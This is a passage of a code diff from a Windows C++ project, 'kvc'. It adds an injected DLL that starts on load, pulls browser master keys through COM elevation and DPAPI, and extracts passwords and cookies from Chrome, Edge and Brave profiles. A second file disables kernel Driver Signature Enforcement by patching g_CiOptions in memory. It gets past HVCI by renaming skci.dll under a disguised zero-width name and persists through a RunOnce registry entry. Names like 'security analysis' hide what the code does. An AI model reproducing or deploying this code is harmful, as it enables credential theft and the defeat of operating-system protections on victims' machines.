comKey = comDecryptor.Decrypt(browserConfig, localStatePath, DataType::Cookies);
|
||||
m_logger->Log("[+] COM key acquired: " + Utils::BytesToHexString(comKey));
|
||||
} catch (const std::exception& e) {
|
||||
m_logger->Log("[-] COM key acquisition failed: " + std::string(e.what()));
|
||||
throw;
|
||||
}
|
||||
|
||||
// Phase 2: Use pre-decrypted DPAPI key from orchestrator for passwords
|
||||
if (!m_edgeDpapiKey.empty())
|
||||
{
|
||||
m_logger->Log("[*] Phase 2: Using pre-decrypted DPAPI key from orchestrator");
|
||||
dpapiKey = m_edgeDpapiKey;
|
||||
m_logger->Log("[+] DPAPI key ready: " + Utils::BytesToHexString(dpapiKey));
|
||||
}
|
||||
else
|
||||
{
|
||||
m_logger->Log("[-] No DPAPI key available - Edge passwords will not be extracted");
|
||||
dpapiKey = comKey;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// Chrome/Brave use single COM-elevated key for all data types
|
||||
m_logger->Log("[*] Initializing single-key strategy for " + browserConfig.name);
|
||||
MasterKeyDecryptor keyDecryptor(*m_logger);
|
||||
comKey = keyDecryptor.Decrypt(browserConfig, localStatePath, DataType::All);
|
||||
dpapiKey = comKey;
|
||||
m_logger->Log("[+] Single COM key: " + Utils::BytesToHexString(comKey));
|
||||
}
|
||||
|
||||
// Enumerate all browser profiles
|
||||
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), *m_logger);
|
||||
auto profilePaths = enumerator.FindProfiles();
|
||||
m_logger->Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)");
|
||||
|
||||
// Extract data from each profile
|
||||
for (const auto& profilePath : profilePaths)
|
||||
{
|
||||
m_logger->Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
|
||||
|
||||
for (const auto& dataConfig : Data::GetExtractionConfigs())
|
||||
{
|
||||
// Select appropriate key based on data type and browser
|
||||
const std::vector<uint8_t>* extractionKey = &comKey;
|
||||
std::string keyType = "COM";
|
||||
|
||||
if (browserConfig.name == "Edge" && dataConfig.outputFileName == "passwords")
|
||||
{
|
||||
extractionKey = &dpapiKey;
|
||||
keyType = "DPAPI";
|
||||
}
|
||||
|
||||
m_logger->Log("[*] Using " + keyType + " key for " + dataConfig.outputFileName + " extraction");
|
||||
|
||||
try {
|
||||
DataExtractor extractor(profilePath, dataConfig, *extractionKey, *m_logger,
|
||||
m_outputPath, browserConfig.name);
|
||||
extractor.Extract();
|
||||
} catch (const std::exception& e) {
|
||||
m_logger->Log("[-] Extraction failed for " + dataConfig.outputFileName + ": " +
|
||||
std::string(e.what()));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
m_logger->Log("[*] Security analysis process finished successfully");
|
||||
}
|
||||
|
||||
// Reads configuration parameters from orchestrator via named pipe
|
||||
void SecurityOrchestrator::ReadPipeParameters()
|
||||
{
|
||||
char buffer[1024] = {0};
|
||||
DWORD bytesRead = 0;
|
||||
|
||||
// Read verbose flag
|
||||
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||||
{
|
||||
m_logger->Log("[-] Failed to read verbose flag from pipe");
|
||||
return;
|
||||
}
|
||||
|
||||
// Read output path
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||||
{
|
||||
m_logger->Log("[-] Failed to read output path from pipe");
|
||||
return;
|
||||
}
|
||||
buffer[bytesRead] = '\0';
|
||||
m_outputPath = buffer;
|
||||
m_logger->Log("[*] Output path configured: " + StringUtils::path_to_string(m_outputPath));
|
||||
|
||||
// Read DPAPI key (Edge only)
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||||
{
|
||||
m_logger->Log("[-] Failed to read DPAPI key from pipe");
|
||||
return;
|
||||
}
|
||||
buffer[bytesRead] = '\0';
|
||||
|
||||
// Parse DPAPI key message
|
||||
try {
|
||||
std::string dpapiKeyMsg(buffer);
|
||||
|
||||
if (dpapiKeyMsg.find("DPAPI_KEY:") == 0)
|
||||
{
|
||||
std::string hexKey = dpapiKeyMsg.substr(10);
|
||||
|
||||
if (hexKey != "NONE" && hexKey.length() >= 64)
|
||||
{
|
||||
m_edgeDpapiKey.resize(32);
|
||||
for (size_t i = 0; i < 32; ++i)
|
||||
{
|
||||
std::string byteStr = hexKey.substr(i * 2, 2);
|
||||
unsigned long byte = std::stoul(byteStr, nullptr, 16);
|
||||
m_edgeDpapiKey[i] = static_cast<uint8_t>(byte);
|
||||
}
|
||||
m_logger->Log("[+] Received pre-decrypted DPAPI key from orchestrator: " +
|
||||
std::to_string(m_edgeDpapiKey.size()) + " bytes");
|
||||
}
|
||||
else
|
||||
{
|
||||
m_logger->Log("[*] No DPAPI key from orchestrator");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
m_logger->Log("[-] Invalid DPAPI key message format");
|
||||
}
|
||||
}
|
||||
catch (const std::exception& e)
|
||||
{
|
||||
m_logger->Log("[-] Exception parsing DPAPI key: " + std::string(e.what()));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Security module worker thread entry point
|
||||
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
|
||||
{
|
||||
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
|
||||
|
||||
try
|
||||
{
|
||||
SecurityComponents::SecurityOrchestrator orchestrator(
|
||||
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
||||
orchestrator.Run();
|
||||
}
|
||||
catch (const std::exception& e)
|
||||
{
|
||||
try
|
||||
{
|
||||
SecurityComponents::PipeLogger errorLogger(
|
||||
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
||||
if (errorLogger.isValid())
|
||||
{
|
||||
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
|
||||
errorLogger.Log("__DLL_PIPE_COMPLETION_SIGNAL__");
|
||||
}
|
||||
}
|
||||
catch (...) {}
|
||||
}
|
||||
|
||||
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// DLL entry point - creates worker thread for asynchronous execution
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
||||
{
|
||||
if (reason == DLL_PROCESS_ATTACH)
|
||||
{
|
||||
DisableThreadLibraryCalls(hModule);
|
||||
|
||||
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
|
||||
if (!params) return TRUE;
|
||||
|
||||
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
|
||||
if (hThread)
|
||||
{
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
else
|
||||
{
|
||||
delete params;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
44
kvc/CryptCore.h
Normal file
44
kvc/CryptCore.h
Normal file
@@ -0,0 +1,44 @@
|
||||
// CryptCore.h - Main security module orchestration
|
||||
#ifndef CRYPT_CORE_H
|
||||
#define CRYPT_CORE_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <filesystem>
|
||||
#include <optional>
|
||||
#include "CommunicationModule.h"
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
namespace SecurityComponents
|
||||
{
|
||||
// Main orchestrator coordinating the entire extraction workflow
|
||||
class SecurityOrchestrator
|
||||
{
|
||||
public:
|
||||
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName);
|
||||
|
||||
// Executes full analysis: key decryption, profile enumeration, data extraction
|
||||
void Run();
|
||||
|
||||
private:
|
||||
// Reads configuration parameters from orchestrator via pipe
|
||||
void ReadPipeParameters();
|
||||
|
||||
std::optional<PipeLogger> m_logger;
|
||||
fs::path m_outputPath;
|
||||
std::vector<uint8_t> m_edgeDpapiKey;
|
||||
};
|
||||
}
|
||||
|
||||
// Thread parameters passed to worker thread
|
||||
struct ModuleThreadParams
|
||||
{
|
||||
HMODULE hModule_dll;
|
||||
LPVOID lpPipeNamePointerFromOrchestrator;
|
||||
};
|
||||
|
||||
// Main worker thread executing security analysis
|
||||
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam);
|
||||
|
||||
#endif // CRYPT_CORE_H
|
||||
569
kvc/DSEBypass.cpp
Normal file
569
kvc/DSEBypass.cpp
Normal file
@@ -0,0 +1,569 @@
|
||||
#include "DSEBypass.h"
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
#include "common.h"
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Kernel module structures
|
||||
typedef struct _SYSTEM_MODULE {
|
||||
ULONG_PTR Reserved1;
|
||||
ULONG_PTR Reserved2;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE, *PSYSTEM_MODULE;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE Modules[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* trustedInstaller)
|
||||
: m_rtc(rtc), m_trustedInstaller(trustedInstaller) {}
|
||||
|
||||
bool DSEBypass::DisableDSE() noexcept {
|
||||
DEBUG(L"Attempting to disable Driver Signature Enforcement...");
|
||||
|
||||
// Find ci.dll kernel module base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"ci.dll base: 0x%llX", ciBase.value());
|
||||
|
||||
// Locate g_CiOptions variable in CiPolicy section
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Read current DSE value from kernel memory
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
m_originalValue = currentValue;
|
||||
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// Check if DSE is already disabled
|
||||
if (currentValue == 0x00000000) {
|
||||
INFO(L"DSE already disabled - no action required");
|
||||
SUCCESS(L"Kernel accepts unsigned drivers");
|
||||
return true;
|
||||
}
|
||||
|
||||
// HVCI bypass is handled in Controller::DisableDSE() before calling this function
|
||||
// This function only handles standard DSE patching
|
||||
|
||||
// Verify we have patchable DSE value (0x00000006)
|
||||
if (currentValue != 0x00000006) {
|
||||
INFO(L"Unexpected g_CiOptions value: 0x%08X", currentValue);
|
||||
INFO(L"Expected: 0x00000006 (patchable DSE)");
|
||||
INFO(L"DSE may already be disabled or system in non-standard configuration");
|
||||
INFO(L"Use 'kvc dse' to verify current state");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Disable DSE by clearing bits 1 and 2
|
||||
DWORD newValue = 0x00000000;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Verify the modification was successful
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"Driver signature enforcement is off", currentValue, newValue);
|
||||
INFO(L"No restart required - unsigned drivers can now be loaded");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::RestoreDSE() noexcept {
|
||||
DEBUG(L"Attempting to restore Driver Signature Enforcement...");
|
||||
|
||||
// Step 1: Find ci.dll base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 2: Locate g_CiOptions
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 3: Read current value
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// Step 4: Check if DSE is already enabled (bits 1 and 2 set)
|
||||
bool dseEnabled = (currentValue & 0x6) != 0;
|
||||
if (dseEnabled) {
|
||||
INFO(L"DSE already enabled (g_CiOptions = 0x%08X) - no action required", currentValue);
|
||||
SUCCESS(L"Driver signature enforcement is active");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Step 5: Verify DSE is disabled (0x00000000) before restoring
|
||||
if (currentValue != 0x00000000) {
|
||||
INFO(L"DSE restore failed: g_CiOptions = 0x%08X (expected: 0x00000000)", currentValue);
|
||||
INFO(L"DSE may already be enabled or system in unexpected state");
|
||||
INFO(L"Use 'kvc dse' to check current protection status");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 6: Restore DSE bits
|
||||
DWORD newValue = 0x00000006;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 7: Verify the change
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"Driver signature enforcement is on (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
INFO(L"Kernel protection reactivated - no restart required");
|
||||
return true;
|
||||
}
|
||||
|
||||
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
ERROR(L"Failed to get ntdll.dll handle");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
|
||||
ULONG SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
|
||||
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
|
||||
|
||||
if (!pNtQuerySystemInformation) {
|
||||
ERROR(L"Failed to get NtQuerySystemInformation");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// First call to get required buffer size
|
||||
ULONG bufferSize = 0;
|
||||
NTSTATUS status = pNtQuerySystemInformation(
|
||||
11, // SystemModuleInformation
|
||||
nullptr,
|
||||
0,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
|
||||
ERROR(L"NtQuerySystemInformation failed with status: 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Allocate buffer and get module list
|
||||
auto buffer = std::make_unique<BYTE[]>(bufferSize);
|
||||
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
|
||||
|
||||
status = pNtQuerySystemInformation(
|
||||
11, // SystemModuleInformation
|
||||
modules,
|
||||
bufferSize,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
if (status != 0) {
|
||||
ERROR(L"NtQuerySystemInformation failed (2nd call): 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Search for target module by name
|
||||
for (ULONG i = 0; i < modules->Count; i++) {
|
||||
auto& mod = modules->Modules[i];
|
||||
|
||||
// Extract filename from full path
|
||||
const char* fileName = strrchr(mod.ImageName, '\\');
|
||||
if (fileName) {
|
||||
fileName++; // Skip backslash
|
||||
} else {
|
||||
fileName = mod.ImageName;
|
||||
}
|
||||
|
||||
if (_stricmp(fileName, moduleName) == 0) {
|
||||
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
|
||||
|
||||
if (baseAddr == 0) {
|
||||
ERROR(L"Module %S found but ImageBase is NULL", moduleName);
|
||||
continue;
|
||||
}
|
||||
|
||||
DEBUG(L"Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
|
||||
return baseAddr;
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"Module %S not found in kernel", moduleName);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
||||
DEBUG(L"Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
|
||||
|
||||
// Get CiPolicy section information
|
||||
auto dataSection = GetDataSection(ciBase);
|
||||
if (!dataSection) {
|
||||
ERROR(L"Failed to locate CiPolicy section in ci.dll");
|
||||
return 0;
|
||||
}
|
||||
|
||||
ULONG_PTR dataStart = dataSection->first;
|
||||
SIZE_T dataSize = dataSection->second;
|
||||
|
||||
DEBUG(L"CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
|
||||
|
||||
// g_CiOptions is always at offset +4 in CiPolicy section
|
||||
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
|
||||
|
||||
// Verify we can read from this address
|
||||
auto currentValue = m_rtc->Read32(ciOptionsAddr);
|
||||
if (!currentValue) {
|
||||
ERROR(L"Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DEBUG(L"Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
|
||||
return ciOptionsAddr;
|
||||
}
|
||||
|
||||
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
|
||||
// Read DOS header (MZ signature)
|
||||
auto dosHeader = m_rtc->Read16(moduleBase);
|
||||
if (!dosHeader || dosHeader.value() != 0x5A4D) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get PE header offset
|
||||
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
|
||||
if (!e_lfanew || e_lfanew.value() > 0x1000) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
|
||||
|
||||
// Verify PE signature
|
||||
auto peSignature = m_rtc->Read32(ntHeaders);
|
||||
if (!peSignature || peSignature.value() != 0x4550) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get section count
|
||||
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
|
||||
if (!numSections || numSections.value() > 50) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
|
||||
if (!sizeOfOptionalHeader) return std::nullopt;
|
||||
|
||||
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
|
||||
|
||||
DEBUG(L"Scanning %d sections for CiPolicy...", numSections.value());
|
||||
|
||||
// Search for CiPolicy section
|
||||
for (WORD i = 0; i < numSections.value(); i++) {
|
||||
ULONG_PTR sectionHeader = firstSection + (i * 40);
|
||||
|
||||
// Read section name (8 bytes)
|
||||
char name[9] = {0};
|
||||
for (int j = 0; j < 8; j++) {
|
||||
auto ch = m_rtc->Read8(sectionHeader + j);
|
||||
if (ch) name[j] = static_cast<char>(ch.value());
|
||||
}
|
||||
|
||||
// Check if this is CiPolicy
|
||||
if (strcmp(name, "CiPolicy") == 0) {
|
||||
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
|
||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||
|
||||
if (virtualSize && virtualAddr) {
|
||||
DEBUG(L"Found CiPolicy section at RVA 0x%06X, size 0x%06X",
|
||||
virtualAddr.value(), virtualSize.value());
|
||||
|
||||
return std::make_pair(
|
||||
moduleBase + virtualAddr.value(),
|
||||
static_cast<SIZE_T>(virtualSize.value())
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"CiPolicy section not found in ci.dll");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HVCI BYPASS IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
bool DSEBypass::RenameSkciLibrary() noexcept {
|
||||
DEBUG(L"Attempting to rename skci.dll to disable hypervisor");
|
||||
|
||||
if (!m_trustedInstaller) {
|
||||
ERROR(L"TrustedInstaller not available");
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
|
||||
ERROR(L"Failed to get System32 directory");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||
std::wstring dstPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||
|
||||
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
||||
|
||||
if (!m_trustedInstaller->RenameFileAsTrustedInstaller(srcPath, dstPath)) {
|
||||
ERROR(L"Failed to rename skci.dll (TrustedInstaller operation failed)");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"Windows hypervisor services temporarily suspended");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::RestoreSkciLibrary() noexcept {
|
||||
DEBUG(L"Restoring skci.dll");
|
||||
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
|
||||
ERROR(L"Failed to get System32 directory");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||
|
||||
// Admin rights sufficient for restore (no hypervisor running)
|
||||
DWORD attrs = GetFileAttributesW(srcPath.c_str());
|
||||
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
||||
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||
}
|
||||
|
||||
if (!MoveFileW(srcPath.c_str(), dstPath.c_str())) {
|
||||
DWORD error = GetLastError();
|
||||
ERROR(L"Failed to restore skci.dll (error: %d)", error);
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"skci.dll restored successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::CreateRunOnceEntry() noexcept {
|
||||
DEBUG(L"Creating RunOnce registry entry");
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
|
||||
0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to open RunOnce key");
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
GetSystemDirectoryW(sysDir, MAX_PATH);
|
||||
|
||||
std::wstring cmdLine = std::wstring(sysDir) + L"\\kvc.exe dse off";
|
||||
|
||||
LONG result = RegSetValueExW(hKey, L"DisableDSE", 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(cmdLine.c_str()),
|
||||
static_cast<DWORD>((cmdLine.length() + 1) * sizeof(wchar_t)));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if (result != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to set RunOnce value (error: %d)", result);
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"RunOnce entry created: %s", cmdLine.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::SaveDSEState(DWORD originalValue) noexcept {
|
||||
DEBUG(L"Saving state to registry");
|
||||
|
||||
HKEY hKey;
|
||||
DWORD disposition;
|
||||
|
||||
if (RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, NULL,
|
||||
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
|
||||
&hKey, &disposition) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to create registry key");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring state = L"AwaitingRestore";
|
||||
RegSetValueExW(hKey, L"State", 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(state.c_str()),
|
||||
static_cast<DWORD>((state.length() + 1) * sizeof(wchar_t)));
|
||||
|
||||
RegSetValueExW(hKey, L"OriginalValue", 0, REG_DWORD,
|
||||
reinterpret_cast<const BYTE*>(&originalValue), sizeof(DWORD));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
DEBUG(L"State saved: AwaitingRestore, original: 0x%08X", originalValue);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept {
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||
KEY_READ, &hKey) != ERROR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t state[256] = {0};
|
||||
DWORD size = sizeof(state);
|
||||
|
||||
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||
outState = state;
|
||||
}
|
||||
|
||||
size = sizeof(DWORD);
|
||||
RegQueryValueExW(hKey, L"OriginalValue", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(&outOriginalValue), &size);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::ClearDSEState() noexcept {
|
||||
DEBUG(L"Clearing state from registry");
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc", 0,
|
||||
KEY_WRITE, &hKey) != ERROR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
RegDeleteTreeW(hKey, L"DSE");
|
||||
RegCloseKey(hKey);
|
||||
|
||||
DEBUG(L"State cleared");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::DisableDSEAfterReboot() noexcept {
|
||||
DEBUG(L"Post-reboot DSE disable sequence");
|
||||
|
||||
std::wstring state;
|
||||
DWORD originalValue;
|
||||
|
||||
if (!LoadDSEState(state, originalValue)) {
|
||||
ERROR(L"No pending DSE state found in registry");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (state != L"AwaitingRestore") {
|
||||
ERROR(L"Invalid state: %s", state.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Found pending DSE bypass (original value: 0x%08X)", originalValue);
|
||||
|
||||
// Step 1: Restore skci.dll
|
||||
if (!RestoreSkciLibrary()) {
|
||||
ERROR(L"Failed to restore skci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 2: Now patch g_CiOptions (HVCI no longer protects memory)
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// Patch to 0x00000000
|
||||
DWORD newValue = 0x00000000;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 3: Cleanup
|
||||
ClearDSEState();
|
||||
|
||||
